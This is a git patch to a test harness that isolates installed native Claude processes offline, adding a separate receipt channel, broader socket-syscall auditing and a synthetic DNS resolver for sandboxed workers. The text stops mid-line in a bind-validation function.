[PATCH 062/187] test: discover delegated native launchers and separate guard receipts --- docs/process/testing.md | 25 ++++-- .../tests/native-hosted-runtime.test.ts | 14 ++-- .../tests/fixtures/ordinary-identity-ws.ts | 9 +- scripts/native-proof/native-connect.c | 5 +- scripts/native-test-receipts.ts | 77 +++++++++++++++++ scripts/test-native-guard.ts | 68 +++++++++++---- scripts/test-network-guard.ts | 16 ++-- tests/helpers/native-launcher-inventory.ts | 55 +++++++----- tests/helpers/native-receipt-fixture.ts | 9 ++ tests/helpers/test-invocation-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/measurement-rtk-fixture.test.ts | 13 +-- tests/native-offline-boundary.test.ts | 83 +++++++++++++++++-- tests/native-policy-artifact.test.ts | 15 ++-- tests/native-receipt-channel.test.ts | 52 ++++++++++++ tests/native-startup-audit.test.ts | 5 +- tests/native-worker-fixture-inventory.test.ts | 23 +++-- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 20 files changed, 384 insertions(+), 95 deletions(-) create mode 100644 scripts/native-test-receipts.ts create mode 100644 tests/helpers/native-receipt-fixture.ts create mode 100644 tests/native-receipt-channel.test.ts diff --git a/docs/process/testing.md b/docs/process/testing.md index 7a25143b80..5238885f6f 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -694,6 +694,7 @@ pair with reason `other` through `scripts/ci-timings.ts record` | Variable | Meaning | | --- | --- | | `BRAIN_HOST_ADMISSION_LIMIT` | Concurrent heavy commands admitted on this host. Defaults to one per four CPUs, at least 1; anything but a positive integer is refused. | +| `BRAIN_NATIVE_RECEIPT` | Internal descriptor and device/inode identity for guard-owned test receipts. The preload consumes it; native payloads and protocol-only worker bootstraps do not inherit it. | | `BRAIN_TEST_RESOURCE_ROOT` | Internal, one-generation launcher/preload handoff for process-lifetime test storage. The preload consumes and removes it before tests run; the launcher deletes the tree after the child group drains. | | `BRAIN_HOST_ADMISSION_DIR` | Ledger directory. Defaults to `brain-host-admission-` under the system temporary directory. The test launcher (or standalone preload) gives each invocation a private ledger, which its descendants also find through their ancestry; a test exercising the host ledger names its own. | | `BRAIN_WORKER_ID`, `BRAIN_ORCHESTRATOR_ID` | Opaque worker and orchestrator IDs recorded with each slot. Without them a worker is `host-` and has no orchestrator; it still gets the admission limit. | @@ -1132,12 +1133,16 @@ fixture mounts, fresh PID and network namespaces, and one Unix socket bridged to the exact scripted loopback service. They receive synthetic credentials or registered relay placeholders. Host account databases, managed settings, homes and credential storage are not -mounted. The boundary traces native and descendant `connect` syscalls with +mounted. The boundary traces native and descendant socket syscalls with raw arguments and `execve` with zero-length argument strings. The private trace contains executable paths but no decoded connect addresses or payloads. A successful native exec record is required: an empty or missing trace produces a failed receipt with `nativeLaunched: false`. The emitted `native-offline-audit` -receipt contains only the exact head, launch evidence and denied-connect count. +receipt contains only the exact head, launch evidence and aggregate denied-socket counts. +Guard records use a private append-only receipt file and inherited descriptor, +flushed by the owning test process to its own stderr. They never enter the +payload's piped stderr. Protocol-only worker bootstraps and native payloads +receive no receipt descriptor or locator. A missing namespace launcher or tracing capability refuses before launch. Managed settings supplied by a hostile fixture are synthetic. Workers receive a private network namespace and retain their concrete fixture mounts, while @@ -1205,11 +1210,17 @@ synthetic executables. Hosted proof additionally exercises hostile managed settings, an outside-HOME sentinel credential, helper descendants, denied TCP, and the one permitted scripted service; the child silently swallows denied connections, so the audit count comes from the boundary rather than child output. -The native launcher inventory discovers SDK calls and backend constructors in -repository sources, including aliases and dynamic imports, instead of relying -on a filename list. Networked-profile fixtures that restore an aliased resolver -file declare that one regular file explicitly for copied staging; they never -admit its containing service directory or a DNS route. +The SDK fixture inventory discovers non-type references to `query` and +`prewarm`, plus explicit Claude backend construction, including aliases, +dynamic imports and APIs passed as values. Provider injection is classified +per constructor call. Registry-selected backends and direct binary spawns +without those source references are outside this syntax inventory; runtime +admission still covers installed native executables independently of it. +Worker plans restoring the canonical resolver file read-only receive a +synthetic loopback resolver in guard-owned storage. The guard validates the +regular-file source but reads no host DNS bytes, admits no containing service +directory and provides no DNS route. An unrelated file or writable resolver +bind still refuses. The baseline retention fixture keeps its tool wrapper and runtime-rg alias together in a read-only tool directory and its invocation witness in HOME. Run installed-native backend and diff --git a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts index 2be155b562..68b2a3fce6 100644 --- a/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts +++ b/packages/ui-backend-claude/tests/native-hosted-runtime.test.ts @@ -1,8 +1,12 @@ +import { watchdogMs } from "../../../scripts/test-deadlines.ts"; +import { nativeBootstrapStatus } from "../../../scripts/test-native-guard.ts"; +import { observeNativeWorkerStartup } from "../../ui-sdk/tests/fixtures/native-worker-startup-diagnostics.js"; +import type { LaunchedWorker } from "../../ui-sdk/src/server/worker-launcher.js"; import { nativeFixtureDirectory } from "../../../scripts/test-native-guard.ts"; import { nativeScriptedService } from "../../../scripts/test-native-guard.ts"; /** Production SDK options and isolated worker, real CLI tools, scripted loopback inference. */ import { expect, test } from "bun:test"; -import { mkdirSync, readFileSync, realpathSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; +import { mkdirSync, readFileSync, rmSync, statSync, utimesSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { query, type HookCallback, type SDKMessage } from "@anthropic-ai/claude-agent-sdk"; import { createKeyedLock, type ServerMessage } from "@schlessera/brain-ui-sdk/server"; @@ -35,7 +39,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo { name: toolName, input: toolName === "Write" ? { file_path: path, content: "Athena charts.\n" } : toolName === "NotebookEdit" ? { notebook_path: path, cell_id: "loom", new_source: "Athena charts.", edit_mode: "replace" } : { file_path: path, old_string: "Penelope", new_string: "Odysseus" }, id: "toolu_ithaca_write" }]; if (reread) calls.splice(1, 0, { name: "Read", input: { file_path: path }, id: "toolu_ithaca_reread" }); let roster: string | undefined, sent = 0, reads = 0, rereadContent: string | undefined, authorityDenial = false, nativeDenial = false, version: string | undefined; - const controller = new AbortController(), timer = setTimeout(() => controller.abort(), 20_000); + const controller = new AbortController(), timer = setTimeout(() => controller.abort(), watchdogMs(20_000)); const server = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(request) { if (new URL(request.url).pathname !== "/v1/messages") return Response.json({}); const body = await request.json() as { tools?: { name: string }[] }; @@ -44,10 +48,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo if (!call || !body.tools?.some(tool => tool.name === call.name)) return reply(); sent++; return reply(call); } }); - // The production networked profile restores this one resolver file when - // its distro alias points into /run. Explicit registration snapshots that - // file only; the native child's network namespace still has no DNS route. - nativeScriptedService(server.url.origin, { fixtureRoots: [root], fixtureFiles: [realpathSync("/etc/resolv.conf")] }); + nativeScriptedService(server.url.origin, { fixtureRoots: [root] }); const lockState = { ended: false, pendingReleases: new Map void>() }; let lockHeldDuringWrite = false; const frames: ServerMessage[] = [], lock = createTurnLockBinding({ turn: lockState, writeLock: createKeyedLock(), lockWaitMs: 1000, log: () => {} }); @@ -57,6 +58,7 @@ for (const toolName of ["Write", "Edit", "NotebookEdit"] as const) for (const mo prompt: "Return to Ithaca.", signal: controller.signal, posture: mode === "voice" ? "voice" : undefined, workerStartupView: startupView, + workerStarted: (worker:LaunchedWorker)=>observeNativeWorkerStartup(worker,nativeBootstrapStatus(worker.pid)??{exitCode:null,signalCode:null},["odysseus-offline-only-key"]), workerSandbox: { brain, profile: mode === "strict" ? "strict" : "governed", restricted: false, areas: [], scratchAliasesRemoved: [] }, bridge: { emit: () => {}, applyBrain: async () => ({}), requestPermission: async () => { cards++; return { behavior: "allow" }; } }, } as never, diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index 1766bafe75..70bb788326 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -1,3 +1,4 @@ +import { captureNativeReceipts } from "../../../../scripts/native-test-receipts.ts"; import "../../../../scripts/test-network-child-preload.ts"; import { query } from "@anthropic-ai/claude-agent-sdk"; import { defaultIdentityPhase } from "./default-identity-phases.js"; @@ -54,6 +55,7 @@ if (existsSync(privateRoot)) { const runtime=bundledClaudeBinary();if(!runtime)throw Error("installed SDK identity unavailable"); // Plan only: no native process launches. The registered root is exercised by // the real turn below; the same accessible, unregistered root must refuse. + const refusalReceipts=captureNativeReceipts(); const refused=Bun.spawnSync([process.execPath,"-e",` import {nativeWorkerBoundary,nativeScriptedService} from "/repo/scripts/test-native-guard.ts"; const spawnSync=Bun.spawnSync,which=Bun.which; @@ -62,10 +64,11 @@ if (existsSync(privateRoot)) { process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)}]}); nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true",${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(privateRoot)},"/tmp/odysseus-private","--","/usr/bin/true",${JSON.stringify(runtime)}]})}); - `],{stdout:"pipe",stderr:"pipe"}); + `],{env:{...process.env,...refusalReceipts.env},stdout:"pipe",stderr:"pipe"}); + const refusalText=refused.stderr.toString()+refusalReceipts.read();refusalReceipts.dispose(); expect(refused.exitCode,"PRIVATE_FIXTURE_UNREGISTERED_ROOT_REFUSES").not.toBe(0); - expect(refused.stderr.toString()).toContain("worker bind was not created or staged by the fixture"); - expect(refused.stderr.toString()).toContain('"nativeLaunched":false'); + expect(refusalText).toContain("worker bind was not created or staged by the fixture"); + expect(refusalText).toContain('"nativeLaunched":false'); } const requests: Array<{ model: string; history: number; apiCredential: boolean }> = []; // Native worker calls this loopback provider directly. The outer Docker network diff --git a/scripts/native-proof/native-connect.c b/scripts/native-proof/native-connect.c index 9c64c4244d..020121d1e2 100644 --- a/scripts/native-proof/native-connect.c +++ b/scripts/native-proof/native-connect.c @@ -148,7 +148,7 @@ static int connect_pinned(int listener,struct seccomp_notif *request,int pinned, if(!error && retain_cookie(socket)) error=ENOMEM; close(socket); return error; } -static int run(int pinned,const char *allowed,const char *head,char **command,int probe,const char *foreign) { +static int run(int pinned,const char *allowed,char **command,int probe,const char *foreign) { int ready[2],ack[2]; if(pipe2(ready,O_CLOEXEC)||pipe2(ack,O_CLOEXEC)) return 125; /* Native descendants cannot inspect or change their broker through /proc. */ if(prctl(PR_SET_DUMPABLE,0)) return 125; @@ -207,7 +207,6 @@ static int run(int pinned,const char *allowed,const char *head,char **command,in if(request->data.nr==SYS_connect) error=connect_pinned(listener,request,pinned,allowed); else if(request->data.nr==SYS_sendmsg) error=send_connected(listener,request,&value); } - if(error==EPERM) dprintf(STDERR_FILENO,"{\"kind\":\"native-offline-socket-denial\",\"head\":\"%s\",\"success\":false,\"reason\":\"native socket operation denied\"}\n",head); struct seccomp_notif_resp response={.id=request->id,.error=-error,.val=value,.flags=0}; /* flags=0: SECCOMP_USER_NOTIF_FLAG_CONTINUE would permit a memory race. */ (void)ioctl(listener,SECCOMP_IOCTL_NOTIF_SEND,&response); @@ -234,7 +233,7 @@ int main(int argc,char **argv) { if(pinned<0||fstat(pinned,&info)||!S_ISSOCK(info.st_mode)||info.st_dev!=strtoull(argv[6],NULL,10)||info.st_ino!=strtoull(argv[8],NULL,10)) return 125; } if(pinned<0 || strlen(allowed)>=108) return 125; - int result=run(pinned,allowed,head,probe?NULL:argv+12,probe,other); close(pinned); + int result=run(pinned,allowed,probe?NULL:argv+12,probe,other); close(pinned); if(probe) { close(server); unlink(source); rmdir(directory); if(result==0) puts("NATIVE_SOCKET_POLICY_HELD"); } return result; } diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts new file mode 100644 index 0000000000..e347e87361 --- /dev/null +++ b/scripts/native-test-receipts.ts @@ -0,0 +1,77 @@ +/** Test-owned receipt files/descriptors stay separate from protocol stderr. */ +import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, readSync, rmSync, writeSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { basename, join } from "node:path"; +const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); +interface Sink {fd:number;dev:string;ino:string;ownerPid:number;ownerStart:string;ownerFd:number;report:boolean} +interface State {sink?:Sink;directory?:string;offset:number;pending:Buffer} +function start(pid:number):string{return readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!;} +function identity(fd:number){const info=fstatSync(fd,{bigint:true});return {dev:String(info.dev),ino:String(info.ino)};} +function same(sink:Sink):boolean{try{const info=identity(sink.fd);return info.dev===sink.dev&&info.ino===sink.ino;}catch{return false;}} +function verify(value:string):Sink { + const sink=JSON.parse(value) as Sink; + if(!Number.isSafeInteger(sink.fd)||sink.fd<0||!Number.isSafeInteger(sink.ownerPid)||!Number.isSafeInteger(sink.ownerFd))throw Error("Native receipt descriptor is unavailable"); + if(same(sink))return sink; + // Bun's package-script launcher can close inherited extra descriptors. + // Reopen only the still-live ancestor's exact private append-only file. + let pid=process.pid,ancestor=false; + for(let depth=0;pid>1&&depth<64;depth++){ + if(pid===sink.ownerPid){ancestor=true;break;} + const match=/^PPid:\s+(\d+)/m.exec(readFileSync(`/proc/${pid}/status`,"utf8"));if(!match)break;pid=Number(match[1]); + } + if(!ancestor||start(sink.ownerPid)!==sink.ownerStart)throw Error("Native receipt owner is unavailable"); + const fd=openSync(`/proc/${sink.ownerPid}/fd/${sink.ownerFd}`,constants.O_WRONLY|constants.O_APPEND); + const reopened={...sink,fd};if(!same(reopened)){closeSync(fd);throw Error("Native receipt descriptor identity changed");} + return reopened; +} +const inherited=process.env[KEY];delete process.env[KEY]; +const globals=globalThis as typeof globalThis&{[key:symbol]:State|undefined}; +const state=globals[OWNER]??{sink:inherited?verify(inherited):undefined,offset:0,pending:Buffer.alloc(0)}; +if(!globals[OWNER])Object.defineProperty(globalThis,OWNER,{value:state,writable:false,configurable:false}); +function createSink(report:boolean):{sink:Sink;directory:string;file:string}{ + const directory=mkdtempSync(join(tmpdir(),"odysseus-native-receipts-")),file=join(directory,"records"),fd=openSync(file,"ax+",0o600); + return {sink:{fd,...identity(fd),ownerPid:process.pid,ownerStart:start(process.pid),ownerFd:fd,report},directory,file}; +} +function owner():Sink { + if(state.sink)return state.sink; + const created=createSink(true);state.sink=created.sink;state.directory=created.directory; + process.once("exit",()=>{try{flushNativeReceipts();}catch{process.exitCode=1;}finally{closeSync(created.sink.fd);rmSync(created.directory,{recursive:true,force:true});}}); + return created.sink; +} +export function flushNativeReceipts():void { + const sink=state.sink;if(!sink||sink.ownerPid!==process.pid||!sink.report)return; + if(!same(sink))throw Error("Native receipt owner changed"); + const buffer=Buffer.alloc(65536);let size:number; + while((size=readSync(sink.fd,buffer,0,buffer.length,state.offset))>0){ + state.offset+=size;state.pending=Buffer.concat([state.pending,buffer.subarray(0,size)]); + const end=state.pending.lastIndexOf(10);if(end>=0){writeSync(2,state.pending.subarray(0,end+1));state.pending=Buffer.from(state.pending.subarray(end+1));} + if(state.pending.length>1048576)throw Error("Native receipt exceeded its bound"); + } +} +export function nativeReceipt(value:Record):void { + const sink=owner();if(!same(sink))throw Error("Native receipt descriptor identity changed"); + writeSync(sink.fd,JSON.stringify(value)+"\n");flushNativeReceipts(); +} +/** Only trusted fixture interpreters inherit this channel, never native/worker payloads. */ +export function inheritNativeReceipts(options:Record,argv:readonly string[],defaultStderr:string):{options:Record&{env:Record};argv:string[]} { + const sink=options.env?.[KEY]?verify(options.env[KEY]):owner(); + const {stdin,stdout,stderr,...rest}=options; + const stdio=options.stdio?[...options.stdio]:[stdin??"ignore",stdout??"pipe",stderr??defaultStderr]; + while(stdio.length<3)stdio.push("ignore"); + const fd=stdio.length;stdio.push(sink.fd); + const token=JSON.stringify({...sink,fd}),command=[...argv]; + if(basename(command[0]??"")==="bwrap"){ + let end=command.indexOf("--"); + for(let at=0;at<(end<0?command.length:end);at++)if(command[at]==="--clearenv"){ + command.splice(at+1,0,"--setenv",KEY,token);if(end>=0)end+=3;at+=3; + } + } + return {options:{...rest,stdio,env:{...(options.env??process.env),[KEY]:token}},argv:command}; +} +export function captureNativeReceipts():{env:Record;read():string;dispose():void} { + const {sink,directory,file}=createSink(false);let closed=false; + return {env:{[KEY]:JSON.stringify(sink)},read(){if(!same(sink))throw Error("Native receipt capture changed");return readFileSync(file,"utf8");},dispose(){if(closed)return;closed=true;closeSync(sink.fd);rmSync(directory,{recursive:true,force:true});}}; +} +export function withoutNativeReceipts(options:Record):Record&{env:Record}{ + const env={...(options.env??process.env)};delete env[KEY];return {...options,env}; +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 1e572e1525..8a530a3807 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,4 @@ +import { nativeReceipt } from "./native-test-receipts.ts"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { AsyncLocalStorage } from "node:async_hooks"; @@ -21,6 +22,8 @@ const WORKER_RUNTIME_ENV = new Set(["HOME", "CLAUDE_CONFIG_DIR", "LANG", "LC_ALL const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; +const guardedPlans=new WeakSet(); +export function isGuardedNativePlan(argv:readonly string[]):boolean{return guardedPlans.has(argv);} let denied = 0, reported = 0; export function nativeIsolationFailed(): boolean { return denied > 0; } export function assertNoNativeRefusals(): void { @@ -146,7 +149,7 @@ function refuse(reason: string, mountEvidence?: Record, compile setImmediate(() => process.exit(1)); // Classifications and mount evidence omit arguments/settings/credentials. // Compiler diagnostics are bounded and scrubbed before reaching this receipt. - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}) })); + nativeReceipt({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: nativeTestHead(), ...(mountEvidence ? { mountEvidence } : {}), ...(compilerStderr !== undefined ? { compilerStderr } : {}) }); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -325,6 +328,11 @@ export function deniedNativeConnects(trace: string): number { return trace.split("\n").filter(line => /(?:connect\(|connect resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; } +/** Socket failures come from raw kernel records, never the native stderr stream. */ +export function deniedNativeSocketOperations(trace:string):number { + return trace.split("\n").filter(line=>/^\s*(?:[0-9]+\s+)?(?:(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>).*?= -1 (?:EACCES|EPERM|ENETUNREACH|EHOSTUNREACH|ECONNREFUSED|ENOENT)\b/.test(line)).length; +} + /** A successful exec trace for the expected program is the launch evidence. */ export function nativeExecObserved(trace: string, paths: readonly string[]): boolean { return trace.split("\n").some(line => paths.some(path => line.includes(`execve(${JSON.stringify(path)},`)) && /\)\s+= 0$/.test(line.trim())); @@ -387,29 +395,31 @@ export function auditNativeLaunch(argv: string[], expected: readonly string[], c if (!storageIntact()) { denied++; receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched: false, success: false, reason: "native audit storage integrity failed", deniedConnects: 0 }; - console.error(JSON.stringify(receipt)); return receipt; + nativeReceipt({...receipt}); return receipt; } let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } if (diagnosticRoot) { try { writeFileSync(join(diagnosticRoot, `native-startup-audit-${directoryStamp.ino}.json`), JSON.stringify({ kind: "native-fixture-startup-audit", head: nativeTestHead(), text: scrubNativeStartupTrace(trace) }), { flag: "wx", mode: 0o600 }); } - catch { console.error(JSON.stringify({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"})); } + catch { nativeReceipt({kind:"native-fixture-startup-audit-failure",head:nativeTestHead(),success:false,reason:"startup audit snapshot unavailable"}); } } // Wider diagnostics may contain syscall-looking filenames; only actual // connect/exec records participate in the security receipt. - const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|connect\(|<\.\.\. connect resumed>)/.test(line)).join("\n") : trace; + const auditTrace = diagnosticRoot ? trace.split("\n").filter(line => /^\s*(?:[0-9]+\s+)?(?:execve\(|(?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4)\(|<\.\.\. (?:connect|sendto|sendmsg|sendmmsg|bind|listen|accept|accept4) resumed>)/.test(line)).join("\n") : trace; const nativeLaunched = nativeExecObserved(auditTrace, expected); if (!nativeLaunched) denied++; receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched, success: nativeLaunched, ...(!nativeLaunched ? { reason: "native exec was not observed" } : {}), deniedConnects: deniedNativeConnects(auditTrace) }; - console.error(JSON.stringify(receipt)); + const socketDenials=deniedNativeSocketOperations(auditTrace); + if(socketDenials)nativeReceipt({kind:"native-offline-socket-denial",head:nativeTestHead(),success:false,reason:"native socket operation denied",count:socketDenials}); + nativeReceipt({...receipt}); return receipt; } finally { cleanup(); rmSync(directory, { recursive: true, force: true }); } }; // -o otherwise makes strace ignore SIGTERM; refusal/cancellation must kill // both the tracer and its entire traced sandbox, closing inherited pipes. - return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex" : "trace=connect,execve", "-e", "raw=connect", "-o", log, "--", ...argv], + return { argv: [straceExecutable, "-I", "1", "--kill-on-exit", "-f", "-qq", "-s", "0", "-e", diagnosticRoot ? "trace=connect,%file,%process,mmap,mprotect,munmap,brk,prlimit64,getrlimit,prctl,io_uring_setup,pidfd_open,pidfd_getfd,rt_sigaction,rt_sigprocmask,sched_getaffinity,rseq,futex,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4" : "trace=connect,execve,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-e", "raw=connect,sendto,sendmsg,sendmmsg,bind,listen,accept,accept4", "-o", log, "--", ...argv], dispose() { finish(); }, receipt: finish }; } @@ -433,7 +443,7 @@ export function startNativeTestRelay(upstream: string | undefined) { if (url.origin !== "http://localhost" || !url.pathname.startsWith("/") || url.pathname.startsWith("//") || url.pathname.includes("\\") || outbound.origin !== target.origin) { denied++; - console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: nativeTestHead() })); + nativeReceipt({ kind: "native-offline-route-denial", success: false, reason: "unintended native destination", head: nativeTestHead() }); return new Response("Offline native destination refused", { status: 403 }); } // A redirect is returned to the isolated native process; it cannot make a @@ -504,6 +514,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { argv.push("--chdir", cwd, "--", ...nativeSocketCommand([command, ...args], inheritedSocket && inheritedOrigin ? inheritedSocket : join(bridge.directory, "relay.sock"), "/tmp/native-relay/relay.sock")); const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); beforeLaunch(); + guardedPlans.add(audited.argv); return { ...audited, env: {}, beforeLaunch }; } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -608,7 +619,7 @@ export function assertNativeRelayDestination(url: URL): void { if (requested.hostname === "localhost") requested.hostname = "127.0.0.1"; if (requested.origin === target.origin) return; denied++; - console.error(JSON.stringify({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: nativeTestHead() })); + nativeReceipt({ kind: "native-offline-route-denial", success: false, reason: "unintended relay destination", head: nativeTestHead() }); throw new Error("Native relay refused an unintended destination"); } @@ -771,12 +782,20 @@ export function nativeFixtureDirectory(prefix: string): string { interface FixtureKeeper { mount: string; namespacePid: number; namespaceStart: string; root: string } interface KeeperInspection { mount: string; snapshot: string; refresh(): void } const guardedChildren = new Map(); +const bootstrapDiagnostics=new Map(); +export function nativeBootstrapStatus(pid:number){return bootstrapDiagnostics.get(pid);} const fixtureKeepers = new Map(); function processStart(pid: number): string { return readFileSync(`/proc/${pid}/stat`, "utf8").replace(/^.*\) /s, "").split(" ")[19]!; } /** Called only by the installed test spawn interceptor, never by product code. */ -export function recordNativeGuardChild(child: { pid: number; exited: Promise }): void { +export function recordNativeGuardChild(child: { pid: number; exited: Promise;exitCode?:number|null;signalCode?:string|number|null },bootstrap=false): void { + if(bootstrap){ + bootstrapDiagnostics.set(child.pid,{get exitCode(){return child.exitCode??null;},get signalCode(){return child.signalCode??null;}}); + if(bootstrapDiagnostics.size>256)bootstrapDiagnostics.delete(bootstrapDiagnostics.keys().next().value!); + void child.exited.then(code=>nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:code,signal:child.signalCode??null}),()=>nativeReceipt({kind:"native-offline-bootstrap-exit",head:nativeTestHead(),exitCode:null,signal:child.signalCode??null})); + } let start: string; try { start = processStart(child.pid); } catch { return; } guardedChildren.set(child.pid, start); + void child.exited.finally(() => { if (guardedChildren.get(child.pid) === start) guardedChildren.delete(child.pid); }).catch(() => {}); } /** Fixture-owned output descriptor plus a live, guard-observed namespace; no path exemption. */ @@ -832,6 +851,12 @@ function inspectedWorkerSource(input: string, keeper?: KeeperInspection): string /** Only fixture-declared data, fixed runtime bytes and guard-created IPC enter a worker. */ function workerSourceAllowed(source: string, route: ScriptedAuthority, guardRoot: string): boolean { + // The same fixed-runtime union was already admitted below. Check it before + // re-attesting unrelated fixture roots for every dependency file. Resolve + // the matching root afresh; there is no cross-launch authorization cache. + for(const root of [join(ROOT,"packages"),join(ROOT,"node_modules"),...SYSTEM]){ + if(within(root,source)){try{if(within(realpathSync(root),source))return true;}catch{}} + } const created=[...createdFixtureRoots].filter(([path,stamp])=>{try{const now=lstatSync(path,{bigint:true});return now.dev===stamp.dev&&now.ino===stamp.ino;}catch{return false;}}).map(([path])=>path); const registered=route.fixtureRoots.filter(path=>{try{const stamp=route.fixtureRootStamps.get(path),now=lstatSync(path,{bigint:true});return Boolean(stamp&&stamp.dev===now.dev&&stamp.ino===now.ino);}catch{return false;}}); const roots = [...registered, ...created, guardRoot, @@ -850,7 +875,15 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA let source: string; try { source = inspectedWorkerSource(argv[i + 1]!, keeper); } catch(error) { refuse("worker bind source is unavailable",mountInputEvidence(argv[i+1]!,argv[i+2]!,i,error,route.fixtureRoots)); } if (FORBIDDEN_BIND_ROOTS.has(source)) refuse("native bind exposes a forbidden host service root"); - const explicit = route.fixtureFiles.get(source); + // The networked production profile can restore a distro resolver alias + // from masked /run. Its actual plan identifies this one input: retain no + // host DNS bytes or service directory, only a synthetic loopback resolver. + let resolver=false; + if(resolve(argv[i+2]!)==="/etc/resolv.conf"||resolve(argv[i+2]!)===source){ + try{resolver=source===realpathSync("/etc/resolv.conf")&&lstatSync(source).isFile();}catch{if(resolve(argv[i+2]!)==="/etc/resolv.conf")refuse("native resolver source is unavailable");} + if(resolver&&!["--ro-bind","--ro-bind-try"].includes(argv[i]!))refuse("native resolver bind must be read-only"); + } + const explicit = resolver ? Buffer.from("nameserver 127.0.0.1\noptions attempts:1 timeout:1\n") : route.fixtureFiles.get(source); if (explicit) { mkdirSync(staging, {recursive:true,mode:0o755});chmodSync(staging,0o755); const copy=join(staging,String(staged++));writeFileSync(copy,explicit,{mode:0o444});chmodSync(copy,0o444); @@ -874,6 +907,9 @@ function stageWorkerFixtureBinds(argv: string[], bwrap: number, route: ScriptedA } function assertWorkerFixtureBinds(mounts: readonly string[], route: ScriptedAuthority, guardRoot: string, keeper?: KeeperInspection): void { + // Overlapping package binds share one walk within this validation only. + // A new beforeLaunch call gets a fresh set and checks the tree again. + const visited=new Set(); for(let i=0;i();let inspected=source; + let inspected=source; const visit=(path:string):void=>{ inspected=path; const real=realpathSync(path),info=lstatSync(real); if(info.isFile() && !workerSourceAllowed(real,route,guardRoot))refuse("worker file was not created or staged by the fixture"); - if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(real))return; - visited.add(real);for(const name of readdirSync(real))visit(join(real,name)); + if(!info.isDirectory() || SYSTEM.some(root=>{try{return within(realpathSync(root),real);}catch{return false;}}) || visited.has(`${info.dev}:${info.ino}`))return; + visited.add(`${info.dev}:${info.ino}`);for(const name of readdirSync(real))visit(join(real,name)); }; try { visit(source); } catch(error) { if(String(error).includes("Offline native Claude refused before launch:"))throw error; @@ -983,7 +1019,7 @@ export function nativeWorkerBoundary(env: Record): { assertNativeMountSockets(tools.mounts, route.origin); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] 